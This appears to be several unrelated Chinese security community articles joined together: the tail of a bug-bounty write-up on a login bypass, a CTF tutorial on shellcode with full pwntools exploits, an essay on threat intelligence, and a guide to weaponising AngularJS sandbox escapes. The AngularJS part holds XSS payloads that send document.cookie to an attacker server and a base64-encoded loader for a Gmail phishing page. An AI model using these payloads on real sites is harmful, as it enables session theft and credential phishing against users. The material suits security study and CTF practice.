{“result”:”User with login [] was not found.”,”resultCode”:401,”type”:”error”}
一个空的数组？或者也许square brackets被当成了一个用户名所接受？
ok，让我们试试在用户名的地方输入一个空对象，然后看看它到底发生了什么：
{“username”:{},”password”:”secretpassword”}
对于这次请求返回的数据包就证实了我刚才对于用户名验证逻辑的猜想（它试图去调用{}.replace，但是对于JavaScript的对象来说，没有可以被替换的东西）
{"result":"val.replace is not a function","resultCode":500,"type":"error"}
这看起来就像：我创建了一个空的对象（我用val代表这个对象）之后调用了一个replace()来作为一个函数。你会看到上面的那个报错很像下面代码的报错：
let val = {}
val.replace()
VM188:1 Uncaught TypeError: val.replace is not a function
at <anonymous>:1:5
# 利用
能够证实一个报错是一件事，但是能够成功利用它则是一个故事。我开始去想，服务器里面的代码是怎样运行的，为什么会报这样的错误，我在下一次的测试中用尽可能多的畸形代码去触发不同的报错。嵌套数组([[]])看起来很棒：
{“username”:[[]],”password”:”secretpassword”}
服务器的相应甚至没有达到我的预期
{"result":"ER_PARSE_ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ') OR `Person`.`REDACTED_ID` IN ()) LIMIT 1' at line 1","resultCode":409,"type":"error"}
当看到类似于上面的报错，赏金猎人的脑中会想到什么？当然是sql注入啦。但是首先，我必须发现在查询中怎样使用用户名才能制作出正确payload，让MySQL服务器乖乖下跪。我在想，用户名被当成了一个数组元素，于是我发送了一个请求，里面的用户名就是数组的第一个元素([0])：
{“username”:[0],”password”:”secretpassword”}
这时，应用返回了一个不一样的错误信息：
{“result”:”User super.adm, Request {\”port\”:21110,\”path\”:\”/REDACTED? ApiKey=REDACTED\”,\”headers\”:{\”Authorization\”:\”Basic c3VwZXIuYWRtOnNlY3JldHBhc3N3b3Jk\”}, \”host\”:\”api-global.REDACTED\”}, Response {\”faultcode\”:\”ERR_ACCESS_DENIED\”,\”faultstring\”:\”User credentials are wrong or missing.\”, \”correlationId\”:\”Id-d5a9bf5b7ad73e0042191000924e3ca9\”}”,”resultCode”:401,”type”:”error”}
经过快速的分析，我发现我可以以某种方式去使用ID为0的用户（或者某个数据结构中索引为0的用户）然后我发送另一个请求（这次内部服务器监听的端口是21110？），这个请求很明显没有通过验证，原因是密码错误（你其实已经看到包含
Base64字符串`super.adm:secretpassword`
的Authorization头，这意味着应用已经使用了下标为0的用户，并且密码来自于我最早的请求）。
下面我试图弄清楚是否我能用下标(1, 2
等)从数据库中枚举用户，然后我成功的发现了其他的两个用户。并且我发现我能传递任意数量的下标，作为登录请求中的用户名，它们会被放到查询语句中IN() ：
{"username":[0,1,2,30,50,100],"password":"secretpassword"}
无论何时只要发现一个有效的下标，这个请求总是能给我返回一个有效的用户（我想--应用试图把请求发送给内部的API，通过数据库的sql查询语句去选择要使用的用户名）。但是我使用的密码总是错误的，所以我没有完全绕过身份验证。所以下面的挑战是寻找一种方法去绕过密码验证
我仔细思考了一下这个JavaScript的应用，我用我能想到的最简单方式去测试：布尔 false：
{“username”:[0],”password”:false}
这次服务器返回了不同的内容：
{"result":"Please provide credentials","resultCode":500,"type":"error"}
在之前，我似乎没有看过这样的报错，但是我很快的证实，返回错误的原因是用户名或者密码缺失造成的。当我提供用户名时，服务器就去验证密码，而“password”:false意味着密码不存在。发送null和0（这些值在JavaScript的判断语句中都会被当成false)都会导致相同的错误
# 最后的poc
所以，如果密码是false时会导致失败的话，那么我就把密码换成true？
{“username”:[0],”password”:true}
就是这样，使用数字的第一个元素([0]) 作为用户名并且true这个关键字被作为密码可以让我成功的绕过用户验证
{"result":"Given pin is not valid.","resultCode":401,"type":"error"}
免责声明：这个绕过并不完全，并且也不允许我登录到这个应用，原因是这个验证过程还涉及到第三个因素：PIN码，它应该在登录之后输入。无论怎样，这个身份验证绕过的漏洞是有效的漏洞，并且现在已经被修复。
利用sql注入是不可能的，因为输入的用户名和密码都经过了正则的表达式的检查，当我构造的payload中包含不被允许的特殊字符时，服务器就会返回语法错误。
# 致谢
我感谢这个公司和他们的安全团队成员的支持，感谢hackerone的漏洞赏金计划让我有机会去写这篇关于漏洞的文章
以及，特别感谢我所在的安全小组成员为这份报告所提供的支持与反馈 | 社区文章 |
* * *
title: shellcode 的艺术
tags: pwn
* * *
这里总结一下shellcode的各种类型
## 一、直接调用
#include <stdio.h>
int main(int argc, char const *argv[])
{
char s[0x500];
gets(s);
((void(*)(void))s)();
return 0;
}
直接执行shellcode，考查对shellcode的编写能力，pwntool可以直接生成`shellcraft.sh()`，没什么难度
## 二、禁用了system
参考pwnable.tw的orw，这种不能直接get shell，但是可以编写shellcode实现`fp = open("flag")
,read(fp,buf,0x30),write(1,buf,0x30)`来读取flag
#32位
payload = '''
/*fp = open("/home/orw/flag")*/
push 0x00006761
push 0x6c662f77
push 0x726f2f65
push 0x6d6f682f
mov eax,0x5
mov ebx,esp
xor ecx,ecx
int 0x80
/*read(fd,buf,0x100)*/
mov ebx,eax
mov ecx,esp
mov edx,0x30
mov eax,0x3
int 0x80
/*write(1,buf,0x100)*/
mov ebx,0x1
mov eax,0x4
int 0x80
'''
## 三、限制字符
像这样的
// gcc -m64 -z execstack -fPIE -pie -z now chall3.c -o chall3
int main() {
char buf[0x400];
int n, i;
n = read(0, buf, 0x400);
if (n <= 0) return 0;
for (i = 0; i < n; i++) {
if(buf[i] < 32 || buf[i] > 126) return 0;
}
((void(*)(void))buf)();
}
限制了shellcode为可打印字符，也就是说现在的shellcode中不能出现不可见字符，那么能用的汇编语句就大大减少了，如32位的`int
0x80`，64位的`syscall`都不能直接输入，那怎么办呢，参考大牛的总结，此类题目可用到的汇编指令如下 ：
1.数据传送:
push/pop eax…
pusha/popa
2.算术运算:
inc/dec eax…
sub al, 立即数
sub byte ptr [eax… + 立即数], al dl…
sub byte ptr [eax… + 立即数], ah dh…
sub dword ptr [eax… + 立即数], esi edi
sub word ptr [eax… + 立即数], si di
sub al dl…, byte ptr [eax… + 立即数]
sub ah dh…, byte ptr [eax… + 立即数]
sub esi edi, dword ptr [eax… + 立即数]
sub si di, word ptr [eax… + 立即数]
3.逻辑运算:
and al, 立即数
and dword ptr [eax… + 立即数], esi edi
and word ptr [eax… + 立即数], si di
and ah dh…, byte ptr [ecx edx… + 立即数]
and esi edi, dword ptr [eax… + 立即数]
and si di, word ptr [eax… + 立即数]
xor al, 立即数
xor byte ptr [eax… + 立即数], al dl…
xor byte ptr [eax… + 立即数], ah dh…
xor dword ptr [eax… + 立即数], esi edi
xor word ptr [eax… + 立即数], si di
xor al dl…, byte ptr [eax… + 立即数]
xor ah dh…, byte ptr [eax… + 立即数]
xor esi edi, dword ptr [eax… + 立即数]
xor si di, word ptr [eax… + 立即数]
4.比较指令:
cmp al, 立即数
cmp byte ptr [eax… + 立即数], al dl…
cmp byte ptr [eax… + 立即数], ah dh…
cmp dword ptr [eax… + 立即数], esi edi
cmp word ptr [eax… + 立即数], si di
cmp al dl…, byte ptr [eax… + 立即数]
cmp ah dh…, byte ptr [eax… + 立即数]
cmp esi edi, dword ptr [eax… + 立即数]
cmp si di, word ptr [eax… + 立即数]
5.转移指令:
push 56h
pop eax
cmp al, 43h
jnz lable
<=> jmp lable
6.交换al, ah
push eax
xor ah, byte ptr [esp] // ah ^= al
xor byte ptr [esp], ah // al ^= ah
xor ah, byte ptr [esp] // ah ^= al
pop eax
7.清零:
push 44h
pop eax
sub al, 44h ; eax = 0
push esi
push esp
pop eax
xor [eax], esi ; esi = 0
所以考查的是我们用上面有限的汇编指令编写出可用的shellcode，基本思想：`mov a,b 用 push b;pop a替换;`而像`int 0x80
; syscall`这种则通过`xor sub and inc dec`运算来操作shellcode使之变成我们要的指令；
参数题目`pwnable.tw的death_note` 具体[wp](https://n0va-scy.github.io/2019/07/03/pwnable.tw/)
不过还是有工具可以生成可打印[shellcode](https://xz.aliyun.com/t/5662)
x86可以msf内置的encoder，x64用github上的[shellcode_encoder](https://github.com/ecx86/shellcode_encoder)
但是个人觉得，，工具有点局限，并不是万能的
## 四、字符限制范围更小
上面的字符限制还是可见字符，但是还可以继续限制到`[A-Z],[a-z],[0-9]`也就是字母和数字
像这样
// gcc -m32 -z execstack -fPIE -pie -z now chall2.c -o chall2
int main() {
char buf[0x200];
int n, i;
n = read(0, buf, 0x200);
if (n <= 0) return 0;
for (i = 0; i < n; i++) {
if(!((buf[i] >= 65 && buf[i] <= 90) || (buf[i] >= 48 && buf[i] <= 57))) return 0;
}
((void(*)(void))buf)();
}
这是中科大校赛上的一题，同样可以用msf生成符合的shellcode
exp:
from pwn import *
context.log_level = 'debug'
# p = process('./chall2')
p = remote("202.38.93.241","10002")
p.recvuntil("token: ")
p.sendline("747:MEUCIBfqi0tiRKDbsSHczXVE7bwl3E2tvvYq46DisJi/LvE7AiEApxxz/mPdbr8kKbWmMtN4g6M17oOXTKJhGbZSYH43TAw=")
pause()
p.send("PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIBJTK0XZ9V2U62HFMBCMYJGRHFORSE8EP2HFO3R3YBNLIJC1BZHDHS05PS06ORB2IRNFOT3RH30PWF3MYKQXMK0AA")
p.interactive()
## 五、禁用了system和open
这种情况在`2018-XNUCA-steak`中出现，具体程序漏洞的分析可以参考看雪上面大佬的：<https://bbs.pediy.com/thread-250635.htm>
<https://bbs.pediy.com/thread-249556.htm>
这里主要介绍在shellcode的编写：其主要思想就是通过调用32位的open来绕过，因为程序只是对64位的代码做限制，而通过写32位的shellcode能到达到open的目的，以32位的模式运行。
（骚操作，通过retfq切换模式），下面会以一道倒是来详细分析这种做法。
## 六、禁用了system和open，还限制了shellcode字符
这种情况可以说是我目前见到的最恶心的shellcode了，这就是来自ex师傅的shellcode题目
接下来详细分析一下这道题
$ seccomp-tools dump ./shellcode
---------- Shellcode ---------- line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x06 0x00 0x00000005 if (A == fstat) goto 0008
0002: 0x15 0x05 0x00 0x00000025 if (A == alarm) goto 0008
0003: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0008
0004: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0008
0005: 0x15 0x02 0x00 0x00000009 if (A == mmap) goto 0008
0006: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0008
0007: 0x06 0x00 0x00 0x00000000 return KILL
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
查看一下沙箱发现，只允许6个函数，但是没有open，不过有mmap，并不知道有什么用，先放着
IDA看一下程序
for ( i = 0; i < v4; ++i )
{
if ( *(_BYTE *)(i + 9LL) <= 31 || *(_BYTE *)(i + 9LL) == 127 )
{
__asm { syscall; LINUX - sys_write }
goto LABEL_10;
}
}
MEMORY[9](0LL, 9LL, 4096LL, a4, 0xFFFFFFFFLL, 0LL);
这里对输入进行检测，只能在可见字符范围
所以，我们要用这有限的输入，有限的函数`cat flag`
在这里我们要先知道，程序是怎么知道要以64位模式运行还是以32位模式运行的；寄存器中有一个cs寄存器，cs = 0x23代表32位模式，cs =
0x33代表64位模式，而cs寄存器就是通过上面提到的`retfq`汇编指令来修改，具体怎么修改？
retfq有两步操作，`ret以及set
cs`，所以执行retfq会跳转到rsp同时将cs设置为[rsp+0x8]，我们只需要事先在ret位置写入32位的shellcode就可以执行了，但是这里有一点需要注意的是，retfq跳转过去的时候程序已经切换成了32位模式，所以地址解析也是以32位的规则来的，所以原先的`rsp
= 0x7ffe530d01b8`会被解析成`esp = 0x530d01b8`
所以在跳转过去后要先平衡好esp的地址，不能直接执行`push ...`
还有就是这个返回地址`0x40404040`怎么来的，这就用到了`mmap`函数了，因为shellcode是写到栈上面的，如果把32位的shellcode在栈上的话，因为64位的栈地址长度比32位的长，所以32位模式下是无法解析出64位的栈地址的，retfq时就会crash掉，所以这里需要先调用mmap申请出一段适合32位的地址来存32位shellcode，`mmap(0x40404040,0x7e,7,34,0,0)`
走到这一步这道题基本完成了，我一开始的想法是直接调用32位下的read,write把flag打印出来，但是发现是bad system
call，无法调用，所以还得回到64位模式下调用，再调用一次retfq
这里需要先把open的返回值保存到别的寄存器，因为在retfq回64位模式的时候会影响到rax
最后就read,write打印出来就OK啦！
整体思路：
1、用可见字符编写shellcode 调用mmap申请地址，调用read读入32位shellcode
2、同时构造用retfq切换到32位模式，跳转到32位shellcode 位置
3、按照32位规则调用fp = open("flag")
4、保存open函数返回的fp指针，再次调用retfq切换回64模式，跳转到64位shellcode位置
5、执行read,write打印flag
exp:
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./shellcode')
# p = remote("nc.eonew.cn","10011")
p.recvuntil("shellcode: ")
append_x86 = '''
push ebx
pop ebx
'''
shellcode_x86 = '''
/*fp = open("flag")*/
mov esp,0x40404140
push 0x67616c66
push esp
pop ebx
xor ecx,ecx
mov eax,5
int 0x80
mov ecx,eax
'''
shellcode_flag = '''
push 0x33
push 0x40404089
retfq
/*read(fp,buf,0x70)*/
mov rdi,rcx
mov rsi,rsp
mov rdx,0x70
xor rax,rax
syscall
/*write(1,buf,0x70)*/
mov rdi,1
mov rax,1
syscall
'''
shellcode_x86 = asm(shellcode_x86)
shellcode_flag = asm(shellcode_flag,arch = 'amd64',os = 'linux')
shellcode = ''
append = '''
push rdx
pop rdx
'''
# 0x40404040 为32位shellcode地址
shellcode_mmap = '''
/*mmap(0x40404040,0x7e,7,34,0,0)*/
push 0x40404040 /*set rdi*/
pop rdi
push 0x7e /*set rsi*/
pop rsi
push 0x40 /*set rdx*/
pop rax
xor al,0x47
push rax
pop rdx
push 0x40 /*set r8*/
pop rax
xor al,0x40
push rax
pop r8
push rax /*set r9*/
pop r9
/*syscall*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x31],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x32],cl
push 0x22 /*set rcx*/
pop rcx
push 0x40/*set rax*/
pop rax
xor al,0x49
'''
shellcode_read = '''
/*read(0,0x40404040,0x70)*/
push 0x40404040
pop rsi
push 0x40
pop rax
xor al,0x40
push rax
pop rdi
xor al,0x40
push 0x70
pop rdx
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x57],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x58],cl
push rdx
pop rax
xor al,0x70
'''
shellcode_retfq = '''
push rbx
pop rax
xor al,0x40
push 0x72
pop rcx
xor byte ptr[rax+0x40],cl
push 0x68
pop rcx
xor byte ptr[rax+0x40],cl
push 0x47
pop rcx
sub byte ptr[rax+0x41],cl
push 0x48
pop rcx
sub byte ptr[rax+0x41],cl
push rdi
push rdi
push 0x23
push 0x40404040
pop rax
push rax
'''
shellcode += shellcode_mmap
shellcode += append
shellcode += shellcode_read
shellcode += append
shellcode += shellcode_retfq
shellcode += append
shellcode = asm(shellcode,arch = 'amd64',os = 'linux')
print hex(len(shellcode))
# pause()
gdb.attach(p,"b *0x40027f\nb*0x4002eb\nc\nc\nsi\n")
p.sendline(shellcode)
pause()
p.sendline(shellcode_x86 + 0x29*'\x90' + shellcode_flag)
p.interactive()
最后ex师傅牛逼！ | 社区文章 |
### 0x00 写在前面
威胁情报这个玩意儿可谓是借着数据驱动安全的东风变成了少数被吹上天的猪之一，虽然笔者不否认威胁情报对于日常安全运营和安全研究方面的作用，但是我们也需要认清楚某些现实情况——威胁情报目前还不能完全预测攻击，至少目前行业没有成功案例和最佳实践可以佐证这一暂时看来不靠谱的观点。那么目前威胁情报到底发展到什么样的水平？威胁情报对于安全行业的意义在哪里？威胁情报未来会发展为什么样的样子？威胁情报真的是网络安全的“少数派报告“么？这些就是我们下面要讨论的东西。
### 0x01 威胁情报1.0——数据之间的较量
威胁情报概念我们引用uk-cert的观点：[It is] evidence-based knowledge, including context,
mechanisms, indicators, implications and actionable advice, about an existing
or emerging menace or hazard to assets that can be used to inform decisions
regarding the subject's response to that menace or hazard.
翻译成中文就是：关于基于证据的知识，包括背景，机制，指标，影响和可行的建议，关于现有或新兴威胁或对资产的危害，可用于通知关于受试者对该威胁或危害的反应的决策。也就是说威胁情报是为了向决策者提供可行性的建议用来辅助反应决策。
我们举个例子：A是一个互联网公民，我们假设A上午查看了一系列关于资料之后，准备下午对B公司发起一次扫描性质的攻击，结果B公司的雇员C恰好知道了这个消息，然后立刻发微信给老板D说：A下午准备扫我们公司的服务器，请各位老大做好防范。实际上C干的这件事情站在B公司的角度上来看，就是在生产一种威胁情报。而这个也是我们理想中的威胁情报，因为可以辅助决策帮我们做好网络安全层面上的防御。
言归正传，我们理想中的威胁情报是：威胁情报服务提供商告诉我们什么人要在什么时候用什么样的方法来攻击我们的系统，请各单位做好相关的防御工作。然后我们听从建议去进行相对应的防御就能够阻止甚至反击这次攻击。然而理想很丰满，现实很骨感，在威胁情报概念刚刚普及的时候，很多厂商在宣传页中都会大肆宣传我们有多少个国家CERT的数据和多少合作伙伴共享的情报，使得威胁情报厂商基于等同于大数据厂商，只要有威胁情报相关的数据就能干这件事儿，没人去关心这个数据是否准确，是否符合国情，是否已经脱离了时效性这些问题。但是邓爷爷说过：不管白猫黑猫，能抓住老鼠就是好猫，在一项技术发展的初期，尤其是威胁情报这种数据服务偏重的技术上，堆数据确实是一个必须要走而且是不得不走的路，因为当时大家都吃不饱。当数据量达到一定程度的时候，我们就会发现问题了，由于威胁情报本质上就是数据，数据所包含的特性威胁情报就肯定存在，比如说威胁情报的滞后性、准确性、有效性等这些问题其实都是现在威胁情报产品的问题。举一个很简单的例子，我通过一个IP地址在不同的三个威胁情报平台上查询，很有可能就会得到三个不同的结果，如果这样的数据直接拿来辅助攻击防御决策的话，很可能会陷入一系列决策上的混乱，甚至会造成更严重的漏洞。但是很遗憾，从威胁情报这个概念开始火一直到现在已经有一段时间了，这个问题在在国内的某些威胁情报的产品里面依然存在。其实这个阶段，威胁情报产品就是：拿着一堆不靠谱的数据跟客户说你有可能被攻击了
### 0x02 威胁情报1.5——从CERT到CIRT
威胁情报1.0时代其实解决了吃饱的问题，我们有了大量的数据、大量的情报作为支撑，毕竟威胁情报这件事跟玩相机的都是一个套路，底大就是厉害。所以我们在威胁情报1.0时代往往使用的感觉和我们使用Google百度这些搜索引擎的体验差不多。
**换个Logo就能当威胁情报平台用**
我们不应该只局限于国内的眼光，是时候应该看一下国外了。说到国外的威胁情报服务就不得不说一件事儿，那就是2017年这一年其实对于安全行业来说是很有参考价值的一年，首先NSA武器库泄露和WannaCry事件说明了互联网攻击武器化这件事儿是真实存在的，而且一旦利用这种东西去发起攻击后果不堪设想，原来的网络攻击可能是让你电脑死机重装系统，但是现在的网络攻击很可能会让你出门刷不了银行卡，开车加不了油，去民政局办结婚证甚至都办不下来的情况；另一个比较有特点的案例就是Xshell-Ghost事件，2017年之前几乎没有人关心供应链的安全，但是Xshell-Ghost事件发生后，越来越多的人关注软件供应链的安全，攻击者利用常用软件的漏洞制作带有后门的版本来通过CDN等分发方式进行大规模分发，导致中招的人不计其数，这事情听上去就觉得很可怕。回到威胁情报本身，威胁情报在1.0的时候使用体验可以说就和Google没什么区别，敲关键字搜索，然后走你，但是到了1.5时代，威胁情报厂商意识到了这个问题，单个的IP结果并不能左右决策，换句话说，如果安全工程师拿着一个IP列表上现在的威胁情报平台上查了一遍，然后跟Boss说这里面的IP全都被标记成僵尸网络，我个人认为专业的安全管理者是不会因为几个IP地址被标记为恶意地址而左右的。
**Alienvault的OTX平台，是不是感觉可用性更高了**
但是如果把这个故事包装一下，威胁情报平台返回这些IP跟某个网络安全事件相关的结果，这时候安全管理者会提高一些警惕，会去敦促排查我们是不是受害者，威胁情报的决策性大大增加了。但是这和你题目的CERT和CIRT有什么关系？CIRT是从CERT演变而来的，CIRT代表了对安全事件在哲学认识上的改变。CERT最初是专门针对特定的计算机紧急情况的，而CIRT中的术语incident则表明并不是所有的incidents都一定是emergencies，而所有的emergencies都可以被看成是incidents。威胁情报1.5的核心在于Incidents，把孤立的IP、MD5、HASH等单个数据包装成一个Incident并且通过邮件等方式推送至客户处，我觉得会一定程度上提高决策层对于威胁情报数据来源的重视。
**IBM X-Force Exchange的邮件推送**
但是威胁情报的三座大山——时效性、滞后性和可靠性这三件事情上都没有得到很好的解决，尤其是威胁情报的可靠性，至今没有任何一个机构或者说有名气的厂商敢站出来说我们的数据100%可靠，指哪儿打哪儿从不失手，因为我们缺乏一套完整的有效的科学的威胁情报评估体系来给威胁情报打分。值得欣慰的笔者在参加ISC2017互联网安全大会的时候看到了信工所在威胁情报评估方面的努力，说明终于有人考虑到这一点了。
**虽然这个分数很鸡肋，但是还是会影响决策**
在1.5的时代，个人觉得国外的IBM X-Force、Alienvault国内的微步在线都已经达到了1.5的水平。
**微步在线的新版体验还是不错的**
### 0x02 威胁情报2.0——定制和高指向
以上的改变其实只能上算得上是1.5的水平，之所以称为1.5是因为威胁情报的三座大山完全没有根除，2.0时代需要解决的问题是：
ü 高质量的威胁情报数据输出
ü 定制化和PTIC（私有威胁情报中心）的建立
ü 基于Kill-Chain的事件追踪
我们逐条来说，首先先来说第一条，想获得高质量的威胁情报，除了上文说的引入科学的威胁情报评估体系之外，我们还应该对数据进行更快的迭代，这里面会涉及到很多大数据、机器学习相关的东西。除了这些之外还应该像toC业务一样和用户进行良性的互动，鼓励用户提交可靠有效的威胁情报（这里其实很多SRC都已经在干这件事了）。
接着来说Kill-Chain，其实企业用户也就是甲方的安全运营团队在意的往往不是这个IP什么来头，他们往往更关心的是我们是不是被别人搞了，被谁搞了，怎么搞的，搞到了什么程度。其实换句话威胁情报服务提供商只告诉客户这个IP是被僵尸网络控制了在甲方看来影响决策的因子几乎为0，但是如1.5时代提供单个事件情报的话，可能会在一定程度上影响甲方的决策，但影响程度基本上还是不会变动太大，但是如果威胁情报服务提供商能够提供诸如发起攻击方相关的信息：诸如攻击手法、攻击程序、攻击使用的IT资产、地理位置、历史攻击行为和攻击目的的话，我个人认为甲方会更愿意去使用这些服务，换句话说。如果A公司发现有一台服务器在提权，同时对攻击进行取证并发送给威胁情报提供商，提供商返回给客户这样的信息：攻击者A历史活跃时间是xxxx、擅长用的工具是xxx、攻击手法是xxx，目标客户是xxx类型的、一般是为了xxxxx，根据贵司返回的数据来看，你们应该内部有不少机器都中招了，建议进行大规模排查。这样的信息在甲方看来是有效的而且可靠地，也就降低了甲方的决策成本的同时还防御了攻击。
**如果把情报输出成这样会不会更好？**
接下来说定制化和PITC，专业的攻击者往往会针对某一行业甚至是某一特定厂商进行攻击，而且他的往往只是攻击者使用扫描器的附属产品，假设能源类行业收到了一条告警说某个IP地址触发了某条规则，在1.0时代，可能威胁情报提供的就仅仅是：这个IP是个扫描器，言简意赅但是是废话（本地IDS/WAF也能看出来这是个扫描器），但是在1.5时代可能就会演变成为一个事件，比如说这个IP跟敲诈者病毒有关系。但是2.0时代，威胁情报提供商如果还是提供这些的话，我估计可能来到了一个假的2.0时代，真的2.0时代应该是：这个IP跟B攻击团队有关系，但是他们的攻击目标和您所在的行业无关，您可能不会是他的目标。这样的话，甲方的决策成本会进一步降低。但是站在服务提供商的角度看，我们如果给特定攻击者/攻击团队进行分类，然后以服务形式提供给客户，甚至直接将由威胁情报生产出的威胁情报直接落在客户本地机房内，形成私有的PTIC，同时根据云端来补充PTIC的量，这样对于甲方安全防线又进一步的补充。遮掩会不会更好？
### 0x03 总结
威胁情报其实是一个非常具有前景的技术，和态势感知更是相辅相成，正如我在ISC2017上所讲的那样，成熟的SOC未来都会是“两线作战”：一线注重于安全应急响应和事件调查，二线注重于安全监控和事件分析，对于一线而言，我个人认为纵深防御是刚需，纵深防御可以说是拖垮攻击者的良药，而对于二线分析团队来说，威胁情报可以弥补安全运营团队在态势感知能力上的不足，减小安全盲区的覆盖，使得能看见的攻击种类更多。但是威胁情报现在的发展水平来说，真的可能连上学的水平都打不到，更别说毕业。但是正因为威胁情报的潜力无限，所以信息安全行业真的很需要很多精通数据挖掘技术和机器学习技术的懂安全的工程师加入到这个行业中来，相信威胁情报的未来一片光明。
但是话虽这么说，一定要注意威胁情报只能用来辅助决策，不能用来直接决策，所以现在一般说威胁情报可以用来预测攻击的基本上都是xxx。与其他的技术相结合可以使威胁情报的作用最大化，诸如互联网攻击溯源、用户实体行为分析（UEBA）、事件调查与取证等技术结合威胁情报往往会产生意想不到的结果。
关于作者：一个没事喜欢瞎想而且还在学习阶段的安全研究员，研究方向为互联网攻击溯源和APT分析，知乎id：elknot | 社区文章 |
# 前言
AngularJS(Angular)是一个著名的基于JavaScript的开源Web框架，用于前端编程。AngularJS主要用于使用模型视图控制器(MVC)和模型视图模型(MVVM)架构开发单页面应用程序
这篇博文主要展示了如何武器化现有的AngularJS沙箱逃逸。但不要忘了，从Angular1.6及以后版本，Angular沙箱已被删除。此举动使框架代码更快、更小、更易于维护。删除此功能的主要原因是安全研究人员发现太多绕过方式已经严重影响了Angular功能。
在本文的其余部分，我们假设攻击者已经发现XSS漏洞，并试图进一步利用该漏洞进行牟利。
**此博客仅用于教育目的。请勿在未获授权的系统中进行任何攻击。**
# 验证XSS
Angular(版本号小于1.6)内的典型XSS payload如下：
{{ 7 * 7 }}
如果payload成功执行，结果“49”将会出现。
# 沙箱逃逸
现在XSS已经确认，我们进行一个常见的沙箱逃逸。在本演示中，我们将进行Angular（版本号v1.4.0 - v1.4.9）沙箱逃逸。
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
下面是沙箱逃逸运行的屏幕截图，触发alert(1)：
现在，我们可以用任何其他JavaScript函数替换“alert(1)”,例如，我们可以使用以下payload创建提示，要求输入密码：
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };prompt("Please enter your password:")//');}}
# Cookie日志
Cookie通常用于身份验证。许多网站使用它们来识别用户。如果会话Cookie不包含HTTPOnly标志，JavaScript可以从浏览器中获取Cookie。我们下一部分将利用“document.cookie”获得对cookie的访问权限，并将其发送回由攻击者控制的服务器。
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };document.location="http://attacker-server/?"+document.cookie//');}}
从可用性的角度来看，上面的payload非常危险!它将浏览器页面重定向到攻击者的服务器。更好的方法是使用AJAX调用(利用jQuery)，例如下面的payload：
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };$.get("http://attacker-server/?"+document.cookie)//');}}
在某些情况下，由于版本号的问题，页面中使用的jQuery不能正确处理，在这种情况下，用纯JavaScript执行AJAX请求是一个最佳选择。
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://attacker-server/?"+document.cookie, true); xhttp.send();//');}}
为了避免将所有JavaScript代码放在一行中，我们可以使用Base64对此payload进行编码。这也有助于执行复杂的JavaScript代码，而不必花时间跟踪它如何适应Angular的沙箱逃逸。
下面是Base64编码：
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };eval(atob("dmFyIHhodHRwPW5ldyBYTUxIdHRwUmVxdWVzdCgpO3hodHRwLm9wZW4oIkdFVCIsICJodHRwOi8vYXR0YWNrZXItc2VydmVyLz8iK2RvY3VtZW50LmNvb2tpZSwgdHJ1ZSk7IHhodHRwLnNlbmQoKTs")) //');}}
在本例中，我们使用`atob`来动态解码Base64的payload，然后用eval来执行它。
# 页面修改
这篇博客文章的最后一个任务是使用Angular沙箱将页面修改为钓鱼页面。这一点通常要基于受害者进行。我们会尝试将页面修改为他们使用的电子邮件服务（通常可以使用Open
Source
Intelligence轻松识别），或者他们自己网站的登录页面。为了美观，大多数现代页面需要大量代码才能显示(几百KB)，这会导致我们的原始payload将会太大。相反，我们可以使用沙箱逃逸来执行Ajax请求，该请求将代码加载到变量中，然后重新生成页面。
为了使这个过程更加简单，我编写了几个可以很容易重用的函数。这些函数如下：
function change(html){
document.body.innerHTML=html;
};
function load(url, callback) {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
callback(xhr.response);
}
};
xhr.open('GET', url, true);
xhr.send('');
};
load("https://raw.githubusercontent.com/ashanahw/Gmail_Phishing/master/index.php", change);
然后，攻击者可以轻松地对上述payload进行Base64编码，并将其放在Angular沙盒逃逸payload的‘eval(atob(’中，如下所示：
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };eval(atob("ZnVuY3Rpb24gY2hhbmdlKGh0bWwpew0KCWRvY3VtZW50LmJvZHkuaW5uZXJIVE1MPWh0bWw7DQp9Ow0KZnVuY3Rpb24gbG9hZCh1cmwsIGNhbGxiYWNrKSB7DQoJdmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOw0KCXhoci5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBmdW5jdGlvbigpIHsNCgkJaWYgKHhoci5yZWFkeVN0YXRlID09PSA0KSB7DQoJCQljYWxsYmFjayh4aHIucmVzcG9uc2UpOw0KCQl9DQoJfTsgDQoJeGhyLm9wZW4oJ0dFVCcsIHVybCwgdHJ1ZSk7DQoJeGhyLnNlbmQoJycpOw0KfTsgDQpsb2FkKCJodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vYXNoYW5haHcvR21haWxfUGhpc2hpbmcvbWFzdGVyL2luZGV4LnBocCIsIGNoYW5nZSk7"));//');}}
# 补救措施
从Angular1.6及以后版本，Angular沙箱已被删除。因此，只要更新AngularJS的版本，就可以避免任何类型的沙箱逃逸。
**请注意，仅仅使用AngularJS这样的框架和使用安全标头并不能保护您免受跨站点脚本(XSS)攻击！始终过滤用户输入才是王道！！！！！**
# 结论
